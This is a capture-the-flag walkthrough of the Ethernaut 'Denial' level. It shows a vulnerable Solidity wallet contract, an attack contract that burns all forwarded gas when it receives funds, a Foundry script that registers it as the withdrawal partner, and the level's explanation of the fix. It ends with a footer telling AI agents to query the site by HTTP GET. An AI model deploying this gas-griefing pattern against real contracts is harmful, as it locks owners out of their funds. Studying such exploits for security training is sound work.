# Level 20 - Denial ⏺⏺⏺

{% embed url="<https://ethernaut.openzeppelin.com/level/20>" %}

### Level Setup

{% hint style="info" %}
This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.

If you can deny the owner from withdrawing funds when they call `withdraw()` (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.
{% endhint %}

### Level Contract

{% embed url="<https://github.com/OpenZeppelin/ethernaut/blob/a89c8f7832258655c09fde16e6602c78e5e99dbd/contracts/src/levels/Denial.sol>" %}

{% code lineNumbers="true" fullWidth="true" %}

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

{% endcode %}

### Exploit

{% tabs %}
{% tab title="Anvil" %}

```bash
make anvil-exploit-level-20

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
```

{% endtab %}

{% tab title="Holesky" %}

```bash
make holesky-exploit-level-20

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Exploit Contract" %}
{% embed url="<https://github.com/EridianAlpha/ethernaut-foundry/blob/26ebb8956b333626f21e90a270ad87a258233f49/src/Level20.sol>" %}

{% code title="src/Level20.sol" %}

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ================================================================
// │                        LEVEL 20 - DENIAL                     │
// ================================================================
contract AttackContract {
    uint256 counter;

    function burn() internal {
        while (gasleft() > 0) {
            counter += 1;
        }
    }

    receive() external payable {
        burn();
    }
}
```

{% endcode %}
{% endtab %}

{% tab title="Exploit Deployment Script" %}
{% embed url="<https://github.com/EridianAlpha/ethernaut-foundry/blob/26ebb8956b333626f21e90a270ad87a258233f49/script/Level20.s.sol>" %}

{% code title="script/Level20.s.sol" %}

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

import {AttackContract} from "src/Level20.sol";

// ================================================================
// │                        LEVEL 20 - DENIAL                     │
// ================================================================
interface IDenial {
    function withdraw() external;
    function setWithdrawPartner(address _partner) external;
}

contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        IDenial denial = IDenial(targetContractAddress);

        vm.startBroadcast();
        denial.setWithdrawPartner(address(new AttackContract()));
        vm.stopBroadcast();
    }
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

Submit instance... 🥳

### Completion Message

{% hint style="info" %}
This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.

If you are using a low level `call` to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example `call.gas(100000).value()`.

Typically one should follow the [checks-effects-interactions](http://solidity.readthedocs.io/en/latest/security-considerations.html#use-the-checks-effects-interactions-pattern) pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.

*Note*: An external `CALL` can use at most 63/64 of the gas currently available at the time of the `CALL`. Thus, depending on how much gas is required to complete a transaction, a transaction of sufficiently high gas (i.e. one such that 1/64 of the gas is capable of completing the remaining opcodes in the parent call) can be used to mitigate this particular attack.
{% endhint %}

### Notes

{% embed url="<https://github.com/nvnx7/ethernaut-openzeppelin-hacks/blob/e936301859334383d568a614084917100319205e/level_20_Denial.md>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.eridian.xyz/ethereum-dev/defi-challenges/ethernaut/level-20-denial.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
